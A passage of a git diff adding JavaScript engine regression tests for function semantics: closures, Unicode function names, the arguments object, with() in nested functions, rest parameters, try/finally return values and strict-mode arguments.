+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+function f() {
+ var proto = {p8:8};
+ var obj = {
+ p0:0, p1:1, p2:2, p3:3, p4:4, p5:5, p6:6, p7:7, p8:8, p9:9,
+ p10:0, p11:1, p12:2, p13:3, p14:4, p15:5, p16:6, p17:7, p18:8, p19:9,
+ m: function() { return 42; }
+ };
+ return obj;
+}
+var expect = f(),
+ actual = f();
+
+expect += '';
+actual += '';
+reportCompare(expect, actual, summary);
+
+printStatus("All tests passed!");
diff --git a/js/src/tests/non262/Function/regress-545980.js b/js/src/tests/non262/Function/regress-545980.js
new file mode 100644
index 0000000000..5e29def494
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-545980.js
@@ -0,0 +1,41 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 518103;
+var summary = 'partial flat closures must not reach across funargs';
+var actual = "no crash";
+var expect = actual;
+
+function Timer(){}
+Timer.prototype = { initWithCallback: function (o) {Timer.q.push(o)} };
+Timer.q = [];
+
+var later;
+var ac = {startSearch: function(q,s,n,o){later=o}};
+
+var bm = {insertBookmark: function(){}, getIdForItemAt: function(){}};
+
+function run_test() {
+ var tagIds = [];
+
+ (function doSearch(query) {
+ ac.startSearch(query, "", null, {
+ onSearchResult: function() {
+ var num = tagIds.length;
+
+ var timer = new Timer;
+ var next = query.slice(1);
+ timer.initWithCallback({ notify: function() { return doSearch(next); } });
+ }
+ });
+ })("title");
+}
+
+run_test();
+later.onSearchResult();
+for (var i in Timer.q)
+ Timer.q[i].notify();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Function/regress-58274.js b/js/src/tests/non262/Function/regress-58274.js
new file mode 100644
index 0000000000..f8ef3e5880
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-58274.js
@@ -0,0 +1,189 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 15 July 2002
+ * SUMMARY: Testing functions with double-byte names
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=58274
+ *
+ * Here is a sample of the problem:
+ *
+ * js> function f\u02B1 () {}
+ *
+ * js> f\u02B1.toSource();
+ * function f¦() {}
+ *
+ * js> f\u02B1.toSource().toSource();
+ * (new String("function f\xB1() {}"))
+ *
+ *
+ * See how the high-byte information (the 02) has been lost?
+ * The same thing was happening with the toString() method:
+ *
+ * js> f\u02B1.toString();
+ *
+ * function f¦() {
+ * }
+ *
+ * js> f\u02B1.toString().toSource();
+ * (new String("\nfunction f\xB1() {\n}\n"))
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 58274;
+var summary = 'Testing functions with double-byte names';
+var ERR = 'UNEXPECTED ERROR! \n';
+var ERR_MALFORMED_NAME = ERR + 'Could not find function name in: \n\n';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var sEval;
+var sName;
+
+
+sEval = "function f\u02B2() {return 42;}";
+eval(sEval);
+sName = getFunctionName(f\u02B2);
+
+// Test function call -
+status = inSection(1);
+actual = f\u02B2();
+expect = 42;
+addThis();
+
+// Test both characters of function name -
+status = inSection(2);
+actual = sName[0];
+expect = sEval[9];
+addThis();
+
+status = inSection(3);
+actual = sName[1];
+expect = sEval[10];
+addThis();
+
+
+
+sEval = "function f\u02B2\u0AAA () {return 84;}";
+eval(sEval);
+sName = getFunctionName(f\u02B2\u0AAA);
+
+// Test function call -
+status = inSection(4);
+actual = f\u02B2\u0AAA();
+expect = 84;
+addThis();
+
+// Test all three characters of function name -
+status = inSection(5);
+actual = sName[0];
+expect = sEval[9];
+addThis();
+
+status = inSection(6);
+actual = sName[1];
+expect = sEval[10];
+addThis();
+
+status = inSection(7);
+actual = sName[2];
+expect = sEval[11];
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+/*
+ * Goal: test that f.toString() contains the proper function name.
+ *
+ * Note, however, f.toString() is implementation-independent. For example,
+ * it may begin with '\nfunction' instead of 'function'. Therefore we use
+ * a regexp to make sure we extract the name properly.
+ *
+ * Here we assume that f has been defined by means of a function statement,
+ * and not a function expression (where it wouldn't have to have a name).
+ *
+ * Rhino uses a Unicode representation for f.toString(); whereas
+ * SpiderMonkey uses an ASCII representation, putting escape sequences
+ * for non-ASCII characters. For example, if a function is called f\u02B1,
+ * then in Rhino the toString() method will present a 2-character Unicode
+ * string for its name, whereas SpiderMonkey will present a 7-character
+ * ASCII string for its name: the string literal 'f\u02B1'.
+ *
+ * So we force the lexer to condense the string before using it.
+ * This will give uniform results in Rhino and SpiderMonkey.
+ */
+function getFunctionName(f)
+{
+ var s = condenseStr(f.toString());
+ var re = /\s*function\s+(\S+)\s*\(/;
+ var arr = s.match(re);
+
+ if (!(arr && arr[1]))
+ return ERR_MALFORMED_NAME + s;
+ return arr[1];
+}
+
+
+/*
+ * This function is the opposite of functions like escape(), which take
+ * Unicode characters and return escape sequences for them. Here, we force
+ * the lexer to turn escape sequences back into single characters.
+ *
+ * Note we can't simply do |eval(str)|, since in practice |str| will be an
+ * identifier somewhere in the program (e.g. a function name); thus |eval(str)|
+ * would return the object that the identifier represents: not what we want.
+ *
+ * So we surround |str| lexicographically with quotes to force the lexer to
+ * evaluate it as a string. Have to strip out any linefeeds first, however -
+ */
+function condenseStr(str)
+{
+ /*
+ * You won't be able to do the next step if |str| has
+ * any carriage returns or linefeeds in it. For example:
+ *
+ * js> eval("'" + '\nHello' + "'");
+ * 1: SyntaxError: unterminated string literal:
+ * 1: '
+ * 1: ^
+ *
+ * So replace them with the empty string -
+ */
+ str = str.replace(/[\r\n]/g, '')
+ return eval("'" + str + "'");
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Function/regress-85880.js b/js/src/tests/non262/Function/regress-85880.js
new file mode 100644
index 0000000000..d5d6d63175
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-85880.js
@@ -0,0 +1,136 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-06-14
+ *
+ * SUMMARY: Regression test for Bugzilla bug 85880
+ *
+ * Rhino interpreted mode was nulling out the arguments object of a
+ * function if it happened to call another function inside its body.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=85880
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 85880;
+var summary = 'Arguments object of g(){f()} should not be null';
+var cnNonNull = 'Arguments != null';
+var cnNull = 'Arguments == null';
+var cnRecurse = true;
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function f1(x)
+{
+}
+
+
+function f2()
+{
+ return f2.arguments;
+}
+status = 'Section A of test';
+actual = (f2() == null);
+expect = false;
+addThis();
+
+status = 'Section B of test';
+actual = (f2(0) == null);
+expect = false;
+addThis();
+
+
+function f3()
+{
+ f1();
+ return f3.arguments;
+}
+status = 'Section C of test';
+actual = (f3() == null);
+expect = false;
+addThis();
+
+status = 'Section D of test';
+actual = (f3(0) == null);
+expect = false;
+addThis();
+
+
+function f4()
+{
+ f1();
+ f2();
+ f3();
+ return f4.arguments;
+}
+status = 'Section E of test';
+actual = (f4() == null);
+expect = false;
+addThis();
+
+status = 'Section F of test';
+actual = (f4(0) == null);
+expect = false;
+addThis();
+
+
+function f5()
+{
+ if (cnRecurse)
+ {
+ cnRecurse = false;
+ f5();
+ }
+ return f5.arguments;
+}
+status = 'Section G of test';
+actual = (f5() == null);
+expect = false;
+addThis();
+
+status = 'Section H of test';
+actual = (f5(0) == null);
+expect = false;
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = isThisNull(actual);
+ expectedvalues[UBound] = isThisNull(expect);
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
+
+
+function isThisNull(bool)
+{
+ return bool? cnNull : cnNonNull
+ }
diff --git a/js/src/tests/non262/Function/regress-94506.js b/js/src/tests/non262/Function/regress-94506.js
new file mode 100644
index 0000000000..048c7fcfaf
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-94506.js
@@ -0,0 +1,126 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 08 August 2001
+ *
+ * SUMMARY: When we invoke a function, the arguments object should take
+ * a back seat to any local identifier named "arguments".
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=94506
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 94506;
+var summary = 'Testing functions employing identifiers named "arguments"';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var TYPE_OBJECT = typeof new Object();
+var arguments = 5555;
+
+
+// use a parameter named "arguments"
+function F1(arguments)
+{
+ return arguments;
+}
+
+
+// use a local variable named "arguments"
+function F2()
+{
+ var arguments = 55;
+ return arguments;
+}
+
+
+// same thing in a different order. CHANGES THE RESULT!
+function F3()
+{
+ return arguments;
+ var arguments = 555;
+}
+
+
+// use the global variable above named "arguments"
+function F4()
+{
+ return arguments;
+}
+
+
+
+/*
+ * In Sections 1 and 2, expect the local identifier, not the arguments object.
+ * In Sections 3 and 4, expect the arguments object, not the the identifier.
+ */
+
+status = 'Section 1 of test';
+actual = F1(5);
+expect = 5;
+addThis();
+
+
+status = 'Section 2 of test';
+actual = F2();
+expect = 55;
+addThis();
+
+
+status = 'Section 3 of test';
+actual = typeof F3();
+expect = TYPE_OBJECT;
+addThis();
+
+
+status = 'Section 4 of test';
+actual = typeof F4();
+expect = TYPE_OBJECT;
+addThis();
+
+
+// Let's try calling F1 without providing a parameter -
+status = 'Section 5 of test';
+actual = F1();
+expect = undefined;
+addThis();
+
+
+// Let's try calling F1 with too many parameters -
+status = 'Section 6 of test';
+actual = F1(3,33,333);
+expect = 3;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Function/regress-97921.js b/js/src/tests/non262/Function/regress-97921.js
new file mode 100644
index 0000000000..1bea04a1dd
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-97921.js
@@ -0,0 +1,115 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 10 September 2001
+ *
+ * SUMMARY: Testing with() statement with nested functions
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=97921
+ *
+ * Brendan: "The bug is peculiar to functions that have formal parameters,
+ * but that are called with fewer actual arguments than the declared number
+ * of formal parameters."
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 97921;
+var summary = 'Testing with() statement with nested functions';
+var cnYES = 'Inner value === outer value';
+var cnNO = "Inner value !== outer value!";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var outerValue = '';
+var innerValue = '';
+var useWith = '';
+
+
+function F(i)
+{
+ i = 0;
+ if(useWith) with(1){i;}
+ i++;
+
+ outerValue = i; // capture value of i in outer function
+ F1 = function() {innerValue = i;}; // capture value of i in inner function
+ F1();
+}
+
+
+status = inSection(1);
+useWith=false;
+F(); // call F without supplying the argument
+actual = innerValue === outerValue;
+expect = true;
+addThis();
+
+status = inSection(2);
+useWith=true;
+F(); // call F without supplying the argument
+actual = innerValue === outerValue;
+expect = true;
+addThis();
+
+
+function G(i)
+{
+ i = 0;
+ with (new Object()) {i=100};
+ i++;
+
+ outerValue = i; // capture value of i in outer function
+ G1 = function() {innerValue = i;}; // capture value of i in inner function
+ G1();
+}
+
+
+status = inSection(3);
+G(); // call G without supplying the argument
+actual = innerValue === 101;
+expect = true;
+addThis();
+
+status = inSection(4);
+G(); // call G without supplying the argument
+actual = innerValue === outerValue;
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = areTheseEqual(actual);
+ expectedvalues[UBound] = areTheseEqual(expect);
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
+
+
+function areTheseEqual(yes)
+{
+ return yes? cnYES : cnNO
+ }
diff --git a/js/src/tests/non262/Function/rest-has-duplicated.js b/js/src/tests/non262/Function/rest-has-duplicated.js
new file mode 100644
index 0000000000..67577ab4e3
--- /dev/null
+++ b/js/src/tests/non262/Function/rest-has-duplicated.js
@@ -0,0 +1,17 @@
+// Make sure duplicated name is allowed in non-strict.
+function f0(a, a) {
+}
+
+// SyntaxError should be thrown if rest parameter name is duplicated.
+assertThrowsInstanceOf(() => eval(`
+function f1(a, ...a) {
+}
+`), SyntaxError);
+
+// SyntaxError should be thrown if there is a duplicated parameter.
+assertThrowsInstanceOf(() => eval(`
+function f2(a, a, ...b) {
+}
+`), SyntaxError);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Function/rest-parameter-names.js b/js/src/tests/non262/Function/rest-parameter-names.js
new file mode 100644
index 0000000000..6cfa01dcfb
--- /dev/null
+++ b/js/src/tests/non262/Function/rest-parameter-names.js
@@ -0,0 +1,68 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1288460;
+var summary =
+ "Rest parameters to functions can be named |yield| or |eval| or |let| in "
+ "non-strict code";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var f1 = (...yield) => yield + 42;
+assertEq(f1(), "42");
+assertEq(f1(1), "142");
+
+var f2 = (...eval) => eval + 42;
+assertEq(f2(), "42");
+assertEq(f2(1), "142");
+
+var f3 = (...let) => let + 42;
+assertEq(f3(), "42");
+assertEq(f3(1), "142");
+
+function g1(x, ...yield)
+{
+ return yield + x;
+}
+assertEq(g1(0, 42), "420");
+
+function g2(x, ...eval)
+{
+ return eval + x;
+}
+assertEq(g2(0, 42), "420");
+
+function g3(x, ...let)
+{
+ return let + x;
+}
+assertEq(g3(0, 42), "420");
+
+function h()
+{
+ "use strict";
+
+ var badNames = ["yield", "eval", "let"];
+
+ for (var badName of ["yield", "eval", "let"])
+ {
+ assertThrowsInstanceOf(() => eval(`var q = (...${badName}) => ${badName} + 42;`),
+ SyntaxError);
+
+ assertThrowsInstanceOf(() => eval(`function r(x, ...${badName}) { return x + ${badName}; }`),
+ SyntaxError);
+ }
+}
+h();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Function/return-finally.js b/js/src/tests/non262/Function/return-finally.js
new file mode 100644
index 0000000000..fe075d4576
--- /dev/null
+++ b/js/src/tests/non262/Function/return-finally.js
@@ -0,0 +1,172 @@
+var BUGNUMBER = 1202134;
+var summary = "Return value should not be overwritten by finally block with normal execution.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== single ====
+
+var f;
+f = function() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ }
+};
+assertEq(f(), 42);
+
+f = function() {
+ // F.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ return 43;
+ }
+};
+assertEq(f(), 43);
+
+f = function() {
+ // F.[[type]] is throw
+ try {
+ return 42;
+ } finally {
+ throw 43;
+ }
+};
+var caught = false;
+try {
+ f();
+} catch (e) {
+ assertEq(e, 43);
+ caught = true;
+}
+assertEq(caught, true);
+
+f = function() {
+ // F.[[type]] is break
+ do try {
+ return 42;
+ } finally {
+ break;
+ } while (false);
+ return 43;
+};
+assertEq(f(), 43);
+
+f = function() {
+ // F.[[type]] is break
+ L: try {
+ return 42;
+ } finally {
+ break L;
+ }
+ return 43;
+};
+assertEq(f(), 43);
+
+f = function() {
+ // F.[[type]] is continue
+ do try {
+ return 42;
+ } finally {
+ continue;
+ } while (false);
+ return 43;
+};
+assertEq(f(), 43);
+
+// ==== nested ====
+
+f = function() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is break
+ do try {
+ return 43;
+ } finally {
+ break;
+ } while (0);
+ }
+};
+assertEq(f(), 42);
+
+f = function() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is break
+ L: try {
+ return 43;
+ } finally {
+ break L;
+ }
+ }
+}
+assertEq(f(), 42);
+
+f = function() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is continue
+ do try {
+ return 43;
+ } finally {
+ continue;
+ } while (0);
+ }
+};
+assertEq(f(), 42);
+
+f = function() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is normal
+ // B.[[type]] is normal
+ try {
+ // F.[[type]] is throw
+ try {
+ return 43;
+ } finally {
+ throw 9;
+ }
+ } catch (e) {
+ }
+ }
+};
+assertEq(f(), 42);
+
+f = function() {
+ // F.[[type]] is return
+ try {
+ return 41;
+ } finally {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is break
+ do try {
+ return 43;
+ } finally {
+ break;
+ } while (0);
+ }
+ }
+};
+assertEq(f(), 42);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Function/shell.js b/js/src/tests/non262/Function/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Function/shell.js
diff --git a/js/src/tests/non262/Function/spread-iterator-primitive.js b/js/src/tests/non262/Function/spread-iterator-primitive.js
new file mode 100644
index 0000000000..79320ad7f1
--- /dev/null
+++ b/js/src/tests/non262/Function/spread-iterator-primitive.js
@@ -0,0 +1,28 @@
+var BUGNUMBER = 1021835;
+var summary = "Returning non-object from @@iterator should throw";
+
+print(BUGNUMBER + ": " + summary);
+
+let primitives = [
+ 1,
+ true,
+ undefined,
+ null,
+ "foo",
+ Symbol.iterator
+];
+
+function f() {
+}
+
+for (let primitive of primitives) {
+ let arg = {
+ [Symbol.iterator]() {
+ return primitive;
+ }
+ };
+ assertThrowsInstanceOf(() => f(...arg), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Function/strict-arguments.js b/js/src/tests/non262/Function/strict-arguments.js
new file mode 100644
index 0000000000..fce5f756c2
--- /dev/null
+++ b/js/src/tests/non262/Function/strict-arguments.js
@@ -0,0 +1,453 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'strict-arguments.js';
+var BUGNUMBER = 516255;
+var summary =
+ "ES5 strict mode: arguments objects of strict mode functions must copy " +
+ "argument values";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function arrayEvery(arr, fun)
+{
+ return Array.prototype.every.call(arr, fun);
+}
+
+function arraysEqual(a1, a2)
+{
+ return a1.length === a2.length &&
+ arrayEvery(a1, function(v, i) { return v === a2[i]; });
+}
+
+
+/************************
+ * NON-STRICT ARGUMENTS *
+ ************************/
+
+var obj = {};
+
+function noargs() { return arguments; }
+
+assertEq(arraysEqual(noargs(), []), true);
+assertEq(arraysEqual(noargs(1), [1]), true);
+assertEq(arraysEqual(noargs(2, obj, 8), [2, obj, 8]), true);
+
+function args(a) { return arguments; }
+
+assertEq(arraysEqual(args(), []), true);
+assertEq(arraysEqual(args(1), [1]), true);
+assertEq(arraysEqual(args(1, obj), [1, obj]), true);
+assertEq(arraysEqual(args("foopy"), ["foopy"]), true);
+
+function assign(a)
+{
+ a = 17;
+ return arguments;
+}
+
+assertEq(arraysEqual(assign(1), [17]), true);
+
+function getLaterAssign(a)
+{
+ var o = arguments;
+ a = 17;
+ return o;
+}
+
+assertEq(arraysEqual(getLaterAssign(1), [17]), true);
+
+function assignElementGetParameter(a)
+{
+ arguments[0] = 17;
+ return a;
+}
+
+assertEq(assignElementGetParameter(42), 17);
+
+function assignParameterGetElement(a)
+{
+ a = 17;
+ return arguments[0];
+}
+
+assertEq(assignParameterGetElement(42), 17);
+
+function assignArgSub(x, y)
+{
+ arguments[0] = 3;
+ return arguments[0];
+}
+
+assertEq(assignArgSub(1), 3);
+
+function assignArgSubParamUse(x, y)
+{
+ arguments[0] = 3;
+ assertEq(x, 3);
+ return arguments[0];
+}
+
+assertEq(assignArgSubParamUse(1), 3);
+
+function assignArgumentsElement(x, y)
+{
+ arguments[0] = 3;
+ return arguments[Math.random() ? "0" : 0]; // nix arguments[const] optimizations
+}
+
+assertEq(assignArgumentsElement(1), 3);
+
+function assignArgumentsElementParamUse(x, y)
+{
+ arguments[0] = 3;
+ assertEq(x, 3);
+ return arguments[Math.random() ? "0" : 0]; // nix arguments[const] optimizations
+}
+
+assertEq(assignArgumentsElementParamUse(1), 3);
+
+/********************
+ * STRICT ARGUMENTS *
+ ********************/
+
+function strictNoargs()
+{
+ "use strict";
+ return arguments;
+}
+
+assertEq(arraysEqual(strictNoargs(), []), true);
+assertEq(arraysEqual(strictNoargs(1), [1]), true);
+assertEq(arraysEqual(strictNoargs(1, obj), [1, obj]), true);
+
+function strictArgs(a)
+{
+ "use strict";
+ return arguments;
+}
+
+assertEq(arraysEqual(strictArgs(), []), true);
+assertEq(arraysEqual(strictArgs(1), [1]), true);
+assertEq(arraysEqual(strictArgs(1, obj), [1, obj]), true);
+
+function strictAssign(a)
+{
+ "use strict";
+ a = 17;
+ return arguments;
+}
+
+assertEq(arraysEqual(strictAssign(), []), true);
+assertEq(arraysEqual(strictAssign(1), [1]), true);
+assertEq(arraysEqual(strictAssign(1, obj), [1, obj]), true);
+
+var upper;
+function strictAssignAfter(a)
+{
+ "use strict";
+ upper = arguments;
+ a = 42;
+ return upper;
+}
+
+assertEq(arraysEqual(strictAssignAfter(), []), true);
+assertEq(arraysEqual(strictAssignAfter(17), [17]), true);
+assertEq(arraysEqual(strictAssignAfter(obj), [obj]), true);
+
+function strictMaybeAssignOuterParam(p)
+{
+ "use strict";
+ function inner() { p = 17; }
+ return arguments;
+}
+
+assertEq(arraysEqual(strictMaybeAssignOuterParam(), []), true);
+assertEq(arraysEqual(strictMaybeAssignOuterParam(42), [42]), true);
+assertEq(arraysEqual(strictMaybeAssignOuterParam(obj), [obj]), true);
+
+function strictAssignOuterParam(p)
+{
+ "use strict";
+ function inner() { p = 17; }
+ inner();
+ return arguments;
+}
+
+assertEq(arraysEqual(strictAssignOuterParam(), []), true);
+assertEq(arraysEqual(strictAssignOuterParam(17), [17]), true);
+assertEq(arraysEqual(strictAssignOuterParam(obj), [obj]), true);
+
+function strictAssignOuterParamPSYCH(p)
+{
+ "use strict";
+ function inner(p) { p = 17; }
+ inner();
+ return arguments;
+}
+
+assertEq(arraysEqual(strictAssignOuterParamPSYCH(), []), true);
+assertEq(arraysEqual(strictAssignOuterParamPSYCH(17), [17]), true);
+assertEq(arraysEqual(strictAssignOuterParamPSYCH(obj), [obj]), true);
+
+function strictEval(code, p)
+{
+ "use strict";
+ eval(code);
+ return arguments;
+}
+
+assertEq(arraysEqual(strictEval("1", 2), ["1", 2]), true);
+assertEq(arraysEqual(strictEval("arguments"), ["arguments"]), true);
+assertEq(arraysEqual(strictEval("p = 2"), ["p = 2"]), true);
+assertEq(arraysEqual(strictEval("p = 2", 17), ["p = 2", 17]), true);
+assertEq(arraysEqual(strictEval("arguments[0] = 17"), [17]), true);
+assertEq(arraysEqual(strictEval("arguments[0] = 17", 42), [17, 42]), true);
+
+function strictMaybeNestedEval(code, p)
+{
+ "use strict";
+ function inner() { eval(code); }
+ return arguments;
+}
+
+assertEq(arraysEqual(strictMaybeNestedEval("1", 2), ["1", 2]), true);
+assertEq(arraysEqual(strictMaybeNestedEval("arguments"), ["arguments"]), true);
+assertEq(arraysEqual(strictMaybeNestedEval("p = 2"), ["p = 2"]), true);
+assertEq(arraysEqual(strictMaybeNestedEval("p = 2", 17), ["p = 2", 17]), true);
+
+function strictNestedEval(code, p)
+{
+ "use strict";
+ function inner() { eval(code); }
+ inner();
+ return arguments;
+}
+
+assertEq(arraysEqual(strictNestedEval("1", 2), ["1", 2]), true);
+assertEq(arraysEqual(strictNestedEval("arguments"), ["arguments"]), true);
+assertEq(arraysEqual(strictNestedEval("p = 2"), ["p = 2"]), true);
+assertEq(arraysEqual(strictNestedEval("p = 2", 17), ["p = 2", 17]), true);
+assertEq(arraysEqual(strictNestedEval("arguments[0] = 17"), ["arguments[0] = 17"]), true);
+assertEq(arraysEqual(strictNestedEval("arguments[0] = 17", 42), ["arguments[0] = 17", 42]), true);
+
+function strictAssignArguments(a)
+{
+ "use strict";
+ arguments[0] = 42;
+ return a;
+}
+
+assertEq(strictAssignArguments(), undefined);
+assertEq(strictAssignArguments(obj), obj);
+assertEq(strictAssignArguments(17), 17);
+
+function strictAssignParameterGetElement(a)
+{
+ "use strict";
+ a = 17;
+ return arguments[0];
+}
+
+assertEq(strictAssignParameterGetElement(42), 42);
+
+function strictAssignArgSub(x, y)
+{
+ "use strict";
+ arguments[0] = 3;
+ return arguments[0];
+}
+
+assertEq(strictAssignArgSub(1), 3);
+
+function strictAssignArgSubParamUse(x, y)
+{
+ "use strict";
+ arguments[0] = 3;
+ assertEq(x, 1);
+ return arguments[0];
+}
+
+assertEq(strictAssignArgSubParamUse(1), 3);
+
+function strictAssignArgumentsElement(x, y)
+{
+ "use strict";
+ arguments[0] = 3;
+ return arguments[Math.random() ? "0" : 0]; // nix arguments[const] optimizations
+}
+
+assertEq(strictAssignArgumentsElement(1), 3);
+
+function strictAssignArgumentsElementParamUse(x, y)
+{
+ "use strict";
+ arguments[0] = 3;
+ assertEq(x, 1);
+ return arguments[Math.random() ? "0" : 0]; // nix arguments[const] optimizations
+}
+
+assertEq(strictAssignArgumentsElementParamUse(1), 3);
+
+function strictNestedAssignShadowVar(p)
+{
+ "use strict";
+ function inner()
+ {
+ var p = 12;
+ function innermost() { p = 1776; return 12; }
+ return innermost();
+ }
+ return arguments;
+}
+
+assertEq(arraysEqual(strictNestedAssignShadowVar(), []), true);
+assertEq(arraysEqual(strictNestedAssignShadowVar(99), [99]), true);
+assertEq(arraysEqual(strictNestedAssignShadowVar(""), [""]), true);
+assertEq(arraysEqual(strictNestedAssignShadowVar(obj), [obj]), true);
+
+function strictNestedAssignShadowCatch(p)
+{
+ "use strict";
+ function inner()
+ {
+ try
+ {
+ }
+ catch (p)
+ {
+ var f = function innermost() { p = 1776; return 12; };
+ f();
+ }
+ }
+ return arguments;
+}
+
+assertEq(arraysEqual(strictNestedAssignShadowCatch(), []), true);
+assertEq(arraysEqual(strictNestedAssignShadowCatch(99), [99]), true);
+assertEq(arraysEqual(strictNestedAssignShadowCatch(""), [""]), true);
+assertEq(arraysEqual(strictNestedAssignShadowCatch(obj), [obj]), true);
+
+function strictNestedAssignShadowCatchCall(p)
+{
+ "use strict";
+ function inner()
+ {
+ try
+ {
+ }
+ catch (p)
+ {
+ var f = function innermost() { p = 1776; return 12; };
+ f();
+ }
+ }
+ inner();
+ return arguments;
+}
+
+assertEq(arraysEqual(strictNestedAssignShadowCatchCall(), []), true);
+assertEq(arraysEqual(strictNestedAssignShadowCatchCall(99), [99]), true);
+assertEq(arraysEqual(strictNestedAssignShadowCatchCall(""), [""]), true);
+assertEq(arraysEqual(strictNestedAssignShadowCatchCall(obj), [obj]), true);
+
+function strictNestedAssignShadowFunction(p)
+{
+ "use strict";
+ function inner()
+ {
+ function p() { }
+ p = 1776;
+ }
+ return arguments;
+}
+
